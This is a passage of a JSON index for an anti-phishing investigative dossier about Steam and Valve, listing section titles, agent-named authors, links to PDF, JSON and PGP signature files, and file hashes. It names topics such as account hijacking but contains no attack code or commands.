            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#automation-map"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#market-ceiling"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#loss-register"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json.asc"
          },
          {
            "label": "Open the Major skin evidence file ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json.asc"
          },
          {
            "label": "Open the sponsorship investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_sponsorships"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json.asc"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Read the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security"
          },
          {
            "label": "Complete text",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html.md"
          },
          {
            "label": "File hashes",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json"
          },
          {
            "label": "Complete signed index (JSON)",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json"
          },
          {
            "label": "Index signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json.asc"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Fragment title / ID",
                "Author",
                "Language",
                "Files / signature"
              ],
              [
                "Case briefing and executive summarySection 1 · section-1Read this point in the dossier ↗",
                "Agent Austin",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Open letter to the Washington State Gambling CommissionSection 2 · section-2Read this point in the dossier ↗",
                "Agent Kal",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Separate-domain authentication hosts: the Link Filter evidenceSection 3 · section-3Read this point in the dossier ↗",
                "Agent Lynn",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Inside Steam, Valve's list is the only listSection 3.1 · section-3-1Read this point in the dossier ↗",
                "Agent June",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Big Picture Trap: Multi-Year Longitudinal Phishing Audit (120 Domains)Section 3.2 · section-3-2Read this point in the dossier ↗",
                "Agent Ignatus",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Asset ID blackout: the update that restricted public item tracingSection 4 · section-4Read this point in the dossier ↗",
                "Agent Gordon",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The vulnerability profile of the pre-2023 API-key architectureSection 5 · section-5Read this point in the dossier ↗",
                "Agent Sofia",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The standards were public and dated: Valve builds against them every daySection 5.1 · section-5-1Read this point in the dossier ↗",
                "Agent Lucia",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Interactive Exploit & Hijack SimulatorSection 6 · section-6Read this point in the dossier ↗",
                "Agent Carla",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Steam Web API endpoints used in the hijack patternSection 7 · section-7Read this point in the dossier ↗",
                "Agent Amy",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Machine-injected consentSection 8 · section-8Read this point in the dossier ↗",
                "Agent Aaron",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Forensic Autopsy: How Valve Killed Trade Substitution (And Left 3 Loopholes)Section 8.1 · section-8-1Read this point in the dossier ↗",
                "Agent Jasmine",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Selective enforcement: the rulebook against the recordSection 9 · section-9Read this point in the dossier ↗",
                "Agent Lorraine",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Web API paradox: a rule against the automation Valve shipsSection 10 · section-10Read this point in the dossier ↗",
                "Agent Dylan",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The July 2016 notice and the Washington recordSection 11 · section-11Read this point in the dossier ↗",
                "Agent Mariana",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The 10-Day Notice Decade: Survival Audit of the 23 Named Sites & The Surviving TitansSection 11.1 · section-11-1Read this point in the dossier ↗",
                "Agent Constance",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Enforcement feasibility: domain-level blockingSection 12 · section-12Read this point in the dossier ↗",
                "Agent Randall",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The off-Steam price gapSection 13 · section-13Read this point in the dossier ↗",
                "Agent Neil",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Support access and the theft ledgerSection 14 · section-14Read this point in the dossier ↗",
                "Agent Tom",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The register: six accounts taken through the help-request channel, June 2022 → November 2025Section 14.1 · section-14-1Read this point in the dossier ↗",
                "Agent Dora",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The money trail: liquidity, AML and KYCSection 15 · section-15Read this point in the dossier ↗",
                "Agent Helen",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Digital Services Act: put knowledge on the recordSection 16 · section-16Read this point in the dossier ↗",
                "Agent John",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Minors: a Steam login is not an age checkSection 17 · section-17Read this point in the dossier ↗",
                "Agent Mary",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "A GDPR access request closed without dataSection 18 · section-18Read this point in the dossier ↗",
                "Agent Viola",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Subscriber Agreement against the platform's own architectureSection 19 · section-19Read this point in the dossier ↗",
                "Agent Beatrix",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Automation has a paper trail.Part II · Section 1 · part-ii-section-1Read this point in the dossier ↗",
                "Agent Sean",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Which key are we talking about?Part II · Section 2 · part-ii-section-2Read this point in the dossier ↗",
                "Agent Larry",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The item can be rare. The limit stays.Part II · Section 3 · part-ii-section-3Read this point in the dossier ↗",
                "Agent Katherine",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Entrusted with data. Accountable for access.Part II · Section 4 · part-ii-section-4Read this point in the dossier ↗",
                "Agent Elliott",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Every amount needs a case.Part II · Section 5 · part-ii-section-5Read this point in the dossier ↗",
                "Agent Tabitha",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "The Major showcase — skins, stars & demandEvidence file · Major skins · major-skinsOpen the Major skin evidence file ↗",
                "Agent Simon",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "Ten days to stop. Seven years later, at G2’s booth.Evidence file · Major sponsorships · major-sponsorshipsOpen the sponsorship investigation ↗",
                "Agent Rowan",
                "EN",
                "PDFJSONPGP signature"
              ],
              [
                "CSGOFast / SIHCase file · 11 October 2026 · csgofast-sihRead the investigation ↗",
                "Agent Nora",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Reviews & incentivesCase file · 11 October 2026 · reviews-and-incentivesRead the investigation ↗",
                "Agent Vera",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Valve & enforcementCase file · 11 October 2026 · valve-and-enforcementRead the investigation ↗",
                "Agent Elise",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "The gambling systemCase file · 11 October 2026 · gambling-systemRead the investigation ↗",
                "Agent Victor",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Steam accessCase file · 11 October 2026 · steam-accessRead the investigation ↗",
                "Agent Milo",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Empire / Roll / FastCase file · 11 October 2026 · trade-trackingRead the investigation ↗",
                "Agent Leon",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Extension packagesCase file · 11 October 2026 · extension-auditRead the investigation ↗",
                "Agent Cora",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Identity & AMLCase file · 11 October 2026 · aml-dataRead the investigation ↗",
                "Agent Clara",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Payments & countersCase file · 11 October 2026 · money-and-enforcementRead the investigation ↗",
                "Agent Elias",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Sponsors & cosmetic controlCase file · 11 October 2026 · major-and-sponsorsRead the investigation ↗",
                "Agent Lena",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Privacy & enforcementCase file · 11 October 2026 · privacy-and-enforcementRead the investigation ↗",
                "Agent Noel",
                "EN",
                "Complete textFile hashes"
              ],
              [
                "Three games & securityCase file · 11 October 2026 · three-games-and-securityRead the investigation ↗",
                "Agent Nadia",
                "EN",
                "Complete textFile hashes"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.pdf",
          "sha256": "7e23e03c01436b98a4a4f85d9b0b811e1a459e5111043126bc04fb55a62629cb",
          "bytes": 44377
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json",
          "sha256": "9d4da2bfe10760840c1aa79c311121696bde8fdf71e950f61783c958817ced43",
          "bytes": 9131
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.pdf",
          "sha256": "fa4435fbbbc363ffade64539efea1d00a85697a34a7f848eb74a4a858cc7bc2b",
          "bytes": 48271
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json",
          "sha256": "6d37f1bb70d531075294d434394df6f36f5c818f177a9bbd1210b31cf8543733",
          "bytes": 7949
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.pdf",
          "sha256": "19d77042fd45376f79c235a5c987a2ed989827fee1bf5a3d7db3906a7f9ce5fb",
          "bytes": 155994
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json",
          "sha256": "0e296f0c5b1f8f031253e42c80009dc45871aa123e6c3f2e1da9b317a9a9d815",
          "bytes": 104429
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.pdf",
          "sha256": "4a60ba03da376f885ff322dbb877bd7df04ea639719e7928fa5a0c6897ea26c1",
          "bytes": 50427
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json",
          "sha256": "21cf41c23f36ef4db1744f3c96c6818db988517ee02e633af46d3f0a153207ca",
          "bytes": 11474
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.pdf",
          "sha256": "1fe6669d0eb91dbb3782e24bc8fc49f55752be21e350769b1e23be4543ee33b6",
          "bytes": 53983
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json",
          "sha256": "dd060b952f027d455387419ae5a84d88c1aa112700df09895b3096c2a9ead61e",
          "bytes": 7536
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.pdf",
          "sha256": "c45534c252595f7a9918a40e3583ceaee287304c7e671d9e2a75e10bcfc2c5b8",
          "bytes": 43337
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json",
          "sha256": "87152cf43f6afcdee312bb51d4eb92fccb8b849b58cc627c34156f84a62220c8",
          "bytes": 11430
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.pdf",
          "sha256": "d34793bba0a023c8f8b6069a479c781e553d56478ad51bca4541ee1a1de3fadd",
          "bytes": 84508
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json",
          "sha256": "4e7c6ae7ca0ceae33e72a6bfad4e4143463fca60f59c742f1df327d13f62e2dd",
          "bytes": 33362
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.pdf",
          "sha256": "56d98c4a471164225d073d3c03a7bea7c989ecd83780d50e543cecce58a00297",
          "bytes": 64767
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json",
          "sha256": "38599921b6b61f040c021893fa57a1d346aacfc757bb1fbad667f5395318f93a",
          "bytes": 14344
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.pdf",
          "sha256": "9d40b140de96024773c399206ca4bb00f3e5b356d2e953885993ee8a94865dab",
          "bytes": 48086
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json",
          "sha256": "042da44fadf82c73f6fa1dc3daa93eaf2a6741bcc45929f5e388b4135147364b",
          "bytes": 11686
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.pdf",
          "sha256": "8fbbacc01bc6cc5831c29f8c3e2b8be6573b869e8d6a492a7c83615d32813aef",
          "bytes": 34968
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json",
          "sha256": "a801762d1cc10f34fb954dd72218b58640725608b47e900c0d6574ec0e62a70b",
          "bytes": 6245
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.pdf",
          "sha256": "424f17491cff709ae21be7f52ccf453b7b7a021494d058a2b379e276c233aff4",
          "bytes": 36229
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json",
          "sha256": "a31ec48c216f5701b5e40a3092597384ab583d726ff65c726e30fe512ee0bac8",
          "bytes": 5934
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.pdf",
          "sha256": "9e1c2ce141a18f5b00924826f82cf26d6897cb758d58fcc3b383df2dfa420173",
          "bytes": 56547
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json",
          "sha256": "d5edf4bdfb5a6285a34e9e5e6682d7b8c896a2cf47b2703e2ea5065df53386bc",
          "bytes": 9617
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.pdf",
          "sha256": "53d7ae8be02fd97780e5b8245c37a950a6c75a5998c7a72ef39db2df1f248de7",
          "bytes": 48124
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json",
          "sha256": "b19c3412ce519c66811b330e11b362d44ec46c499191a8dbc9c04b1042c7df50",
          "bytes": 11935
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.pdf",
          "sha256": "4a8672270739b3843213941d937bab9c1af2179ffe96d84d89062771f0c5e164",
          "bytes": 43089
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json",
          "sha256": "91dc564366c2ccf804a9ce2cc87a52cc25fc0f4cb52b64405ad13229530c13f3",
          "bytes": 7364
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.pdf",
          "sha256": "1857ca95c6675768f8aafa5da58a4c5959cd8ca680959c9d39c8b233560dd895",
          "bytes": 86361
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json",
          "sha256": "978a0daf6b9fcbb6508ed5205b2ec3e69a3f20275b699a93a446cd3cfcc04d6f",
          "bytes": 38705
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.pdf",
          "sha256": "be70cf3d6f568e46f8e9bbc23708ee2f387e596e12eadaab83f678d0cf31ea36",
          "bytes": 67964
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json",
          "sha256": "4f678c303c712fa19f66c78555a27865e7e6e8f4af7be1b52e6839f85a371505",
          "bytes": 24972
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.pdf",
          "sha256": "3f052aed524af33e00c041d157f8b3d96557089c9878429b4834a4927a7df6aa",
          "bytes": 44758
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json",
          "sha256": "7c17c7688eeea81e8572f3ccc247a1890f97221e56a5e095de2c6bab9f16c3a4",
          "bytes": 11982
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.pdf",
          "sha256": "0c09955960b667460c09fc09c75969b79acb53cef58a40bd8a42edd221e9e502",
          "bytes": 61818
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json",
          "sha256": "206517d76517407c7a2226ac8709837b53bc39cdeab09e68bb16dd0d9a9b0ced",
          "bytes": 14970
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.pdf",
          "sha256": "be4485a465d3e0f4c68c9c114708bf2228c11e426b005d78a99686326b98b727",
          "bytes": 80298
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json",
          "sha256": "8116c034cc7d2487dec9bf197fea02d472ba028dacc29cb89b3258ad0c9d6c14",
          "bytes": 24482
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.pdf",
          "sha256": "e399e7f3181e1e12178521394ffc84cdc2ccb7676807728bb5ee589367dc8474",
          "bytes": 66364
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json",
          "sha256": "9530351892caa0f201acd24e279d6e39afda9056c61ea8b5a66a0eb01cbb14b9",
          "bytes": 16032
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.pdf",
          "sha256": "d48e0b226095c24299823b5fb1f55e5261d4918a96cd258602637c6379398d24",
          "bytes": 46724
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json",
          "sha256": "7ba1a02d51d1e937c04df17cbd34b6bf87f544737ec7f63e9ea5fe4d47406788",
          "bytes": 9754
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.pdf",
          "sha256": "76ac5e5ea3d62f715bcad5a14e6749276db0dce9e4ea49a0179cb9b0bf03e72e",
          "bytes": 37846
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json",
          "sha256": "7d94827228c0112dce5b924261522cad2a349745c52123f2200190fa680cfdb8",
          "bytes": 5533
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.pdf",
          "sha256": "cc5e3e33240b5f3c0d86e099956a6c614f92facf10c43d53d33e549929ee0466",
          "bytes": 36660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json",
          "sha256": "e4fbe026ec2beacacd53382afacebd6dc9f76df4dd360d0ae81a2f6c98eee1b9",
          "bytes": 5926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.pdf",
          "sha256": "949d07f6cee83fd7579cdc6a1879791489a67ef453ebad127dc418e15a163533",
          "bytes": 64803
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json",
          "sha256": "8b572b13888875ac56bc4b269667c847b80f947d5035e6af3f5bff846397946b",
          "bytes": 23374
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.pdf",
          "sha256": "3aed511325c1bbf8bb5bf050cb7d0262bc23750d3506041e68e3a2c1ad9d2723",
          "bytes": 44665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json",
          "sha256": "5a723f2d78f8af1d752616b533122d77bb89bc731394b2ba875b63d2a09e4793",
          "bytes": 9272
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.pdf",
          "sha256": "c4e06302952062a2f0744d2737dab94e4c31f5ba9db670468c399ade3b2303dc",
          "bytes": 36389
        },
        {
